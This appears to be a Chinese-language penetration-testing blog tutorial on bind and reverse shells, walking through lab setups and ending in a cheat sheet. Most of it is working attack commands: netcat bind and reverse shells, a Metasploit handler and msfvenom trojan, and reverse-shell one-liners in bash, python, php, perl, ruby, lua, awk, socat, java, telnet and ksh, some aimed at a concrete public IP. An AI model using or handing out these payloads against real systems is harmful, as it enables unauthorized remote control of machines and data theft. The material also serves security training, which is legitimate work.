内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)

声明:文章技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可用于
违法犯罪,一经发现直接上报国家安全机关处理.
反弹shell
反弹shell:
在攻击者机器获得受害者机器的命令行。

文章目录
  • 反弹shell
    • 背景:
    • 正向反弹shell:
      • 目的:
      • 前提:
      • 实验环境:
      • 网络拓扑:
      • 实验步骤:
    • 反向反弹shell:
      • 目的:
      • 前提:
      • 实验环境:
      • 网络拓扑:
      • 实验步骤:
      • 其他方式反弹shell:
        • msf反弹:
          • 实验环境:
          • 实验步骤:
        • bash反弹:
          • 实验环境:
          • 实验步骤:
        • python反弹:
          • 实验环境:
          • 实验步骤:
        • php反弹:
          • 实验环境:
          • 实验步骤:
        • perl反弹:
          • 实验环境:
          • 实验步骤:
        • linux反弹shell姿势合集:

背景: 对内网有更深入的理解,了解内网的组织结构,为了更好的进行内网渗透。
正向反弹shell: 目的:
利用nc正向连接目标服务器的shell,获得目标服务器的控制权限(dmz大型靶场)
前提:
攻击者可以访问(连接)web服务器的目标(开放)端口,web服务器防火墙未拦截攻击者的入站流量。适用于,能够访问到被控机器的开放端口。
实验环境:
物理机(攻击机):
目标服务器(公网windows): ***.***.88.201:6666
网络拓扑:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

实验步骤:
步骤一:
主动连接被控主机shell,在被控主机上使用nc监听6666端口,成功反弹shell后就控制目标服务器的cmd.exe程序(只要连接到目标服务器的6666端口,就会执行cmd.exe),结果如下图所示:
命令:
#被控主机为Windows,使用以下命令: nc.exe -lvp 4444 -e cdm.exe #被控主机为linux,使用以下命令: nc -lvp 4444 -e /bin/bash

下图为被控主机:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤二:
攻击机连接目标服务器的6666端口,结果如下图所示:
命令:
#攻击者: #nc -vv 被控服务器ip 4444 nc -vv ***.***.88.201 6666

下图是攻击者主机:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

反向反弹shell: 目的:
利用nc反向反弹shell到攻击者本地,获得目标服务器的控制权限(dmz大型靶场)
前提:
1、防火墙对web服务器(被控主机)出站流量放行。
2、攻击者必须有一个公网ip。
实验环境:
攻击机器(公网kali):***.***.23.106:9999
被控机器(公网windows):
网络拓扑:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

实验步骤:
步骤一:
攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999

下图为公网kali:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤二:
把被控主机的shell反弹到攻击者kali9999端口,如下图所示:
命令:
#nc -e /bin/bash 攻击者公网ip 9999 (反弹linux shell) #nc -e cmd.exe 攻击者公网ip 9999(反弹windows shell)

下图为被控主机:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤二:
查看kali,显示成功反弹目标服务器的shell,如下图所示:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

分析:
能够反弹成功,需要攻击者开启公网kali的监听端口,并让防火墙对经过9999端口的流量进行放行;
被攻击者需要有攻击者的公网ip,并且被攻击者的流量能够出来。
其他方式反弹shell:
msf反弹: 实验环境: 攻击机器(公网kali):***.***.23.106:9999
被控主机(虚拟机win8):
实验步骤: 步骤一:
攻击者公网vps监听9999端口:
攻击者在公网kali(公网ip)使用msf的 msfconsole进行监听9999端口的木马反弹,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost ***.***.23.106:9999 set lport 9999

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤三:
生成一个反弹木马,并将生成的木马上传到被控主机(虚拟机win8)上,并进行点击运行,使被控主机反弹shellkali(公网ip)9999端口,如下图所示:
命令:
#使用msfvenom生成反弹木马: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe #这里是使用finalshell远程连接公网kali的,所以使用sz命令下载刚才生成的木马到物理机: sz test.exe #下面就是把下载下来的木马文件放到被控主机(虚拟机win8)。

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤三:
被控主机(虚拟机win8)上,点击运行test.exe(这个木马文件),并进行查看公网kali反弹情况,如下图所示:
![](https://img-blog.csdnimg.cn/img_convert/8de3160d43858ec7edbe0cb324322183.png
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

bash反弹: 实验环境: 攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口 发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1 发送端(被控主机):0<&31-; exec 31<>/dev/tcp/攻击者ip(公网)/攻击者端口; sh <&31 >&31 2>&31

步骤一:
为了保证环境的贴近实战,保持防火墙开启状态。(反弹shell有正向和反向的,我们90%都是反向反弹的shell。
正常情况下,攻击者是无法正向连接目标服务器的;除了开启22端口,通过ssh可以连接进来的,但是ssh我们不知道帐号密码;我们最主要的目的是获取目标主机的反向shell,所以防火墙可以不用关闭)。只关闭setenforce(setlinux),并查看防火墙状态,如下图所示:
命令:
#关闭setlinux setenforce 0 #查看防火墙状态: service iptables status

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤二:
攻击者外网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

命令:
bash -i >& /dev/tcp/***.***.23.106/9999 0>&1

步骤三:
被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

python反弹: 实验环境: 攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp 端口 发送端(被控主机):python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("攻击者公网ip",攻击者公网监听端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '

步骤一:
攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤二:
被控机器(虚拟机centos6.5)上,使用pythonshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:
命令:
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("***.***.23.106",9999)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

php反弹: 实验环境: 攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口 发送端(被控主机):bash -i >& /dev/tcp/攻击者ip(公网)/攻击者端口 0>&1 发送端(被控主机):php -r '$sock=fsockopen("攻击者ip",端口); exec("/bin/sh -i <&3 >&3 2>&3"); '

【内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)】步骤一:
攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)的9999端口:
命令:
#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999

步骤二:
被控机器(虚拟机centos6.5)上,使用phpshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况:
命令:
php -r '$sock=fsockopen("***.***.23.106",9999); exec("/bin/bash -i <&3 >&3 2>&3"); '

perl反弹: 实验环境: 攻击机器(公网kali):***.***.23.106:9999
被控机器(虚拟机centos6.5):
实验步骤:
接收端(攻击者ip,公网): nc -lvvp端口 发送端:perl -e 'use Socket; $i="攻击者ip"; $p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/bash -i"); }; '

步骤一:
攻击者公网vps监听9999端口:
攻击者kali(公网ip)进行监听本地9999端口,被控主机反弹shellkali(公网ip)9999端口,结果如下图所示:
命令:
#攻击机器(公网kali):***.***.23.106:9999 nc -lvvp 9999

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

步骤三:
被控机器(虚拟机centos6.5)上,使用bashshell反弹到攻击者公网kali上,并进行查看公网kali反弹情况,如下图所示:
命令:
perl -e 'use Socket; $i="***.***.23.106"; $p=9999; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/bash -i"); }; '

内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

linux反弹shell姿势合集: 在目标服务器(linux)上面进行反弹shell时,可以通过以下命令,查看目标服务器上面有没有安装对应的程序:
命令:
#比如查看目标服务器上面有没有安装php服务: rpm -q php

出现服务程序的版本号说明已经安装,如下图所示:
内网渗透|内网渗透---反弹shell详解(内有各种姿势的详细过程)
文章图片

linux反弹shell总结1.1发送文件(公网发内网) 文件发送端:nc -lp 6666 < 文件 文件接收端:nc 发送端ip 发送端端口 > 新文件1.2发送文件(内网发公网) 文件发送端:nc -lp 6666 > 文件 文件接收端:nc 发送端ip 发送端端口 < 新文件2.聊天 发送端:nc -lp 6666 接收端:nc 发送端ip 发送端端口3.1发送shell 发送端(公网服务器):nc -lvvp 6666 -e /bin/bash 接收端:nc 发送端ip 发送端攻击者ip3.2反弹shell 接收端:nc -lvvp 6666 发送端(内网网服务器):nc 接收端ip 接收端端口 -e /bin/bash4.bash反弹 接收端(hackip,公网):nc -lvvp 端口 发送端(受害者):bash -i >& /dev/tcp/111.230.170.95/9985 0>&1 发送端(受害者):0<&31-; exec 31<>/dev/tcp/111.230.170.95/9985; sh <&31 >&31 2>&315.1socat反弹(tcp) 接收端(攻击机):./socat TCP-LISTEN:端口 - 发送端(靶机):./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口5.2socat反弹(udp) 接收端:nc -lvvp 8080 发送端:socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &6.python反弹 接收端(攻击机,外网):nc -lvvp 端口 发送端(靶机):python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("接收端ip",接收端端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); '7.PHP反弹 接收端:nc -lvvp 端口 发送端:php -r '$sock=fsockopen("攻击者ip",端口); exec("/bin/sh -i <&3 >&3 2>&3"); '8.JAVA反弹 接收端:nc -lvvp 端口 发送端: r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口; cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()9.perl反弹 接收端:nc -lvvp 端口 发送端: perl -e 'use Socket; $i="攻击者ip"; $p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }; '10.ruby反弹 接收端:nc -lvvp 端口 发送端: ruby -rsocket -e 'exit if fork; c=TCPSocket.new("攻击者ip","端口"); while(cmd=c.gets); IO.popen(cmd,"r"){|io|c.print io.read}end'11.telnet反弹 接收端:nc -lvvp 端口 发送端: mknod backpipe p && telnet 攻击者ip 端口 0backpipe12.lua反弹(安装lua环境:apt-get install lua*) 接收端:nc -lvvp 端口 发送端:lua -e "local s=require('socket'); local t=assert(s.tcp()); t:connect('攻击者ip',端口); while true do local r,x=t:receive(); local f=assert(io.popen(r,'r')); local b=assert(f:read('*a')); t:send(b); end; f:close(); t:close(); "13.awk反弹 接收端:nc -lvvp 端口 发送端:awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口"; while(1){do{s|&getline c; if(c){while((c|&getline)>0)print $0|&s; close(c)}}while(c!="exit"); close(s)}}'14.ksh反弹 接收端:nc -lvvp 端口 发送端:ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'15.msfvenom生成各种payload 接收端:nc -lvvp 端口 查找payload:msfvenom -l payload |grep 'cmd/unix/reverse' 生成payload:msfvenom -p cmd/unix/reverse_模块 lhost=接收端ip lport=接收端端口 R

原创不易,转载请注明来源!

    推荐阅读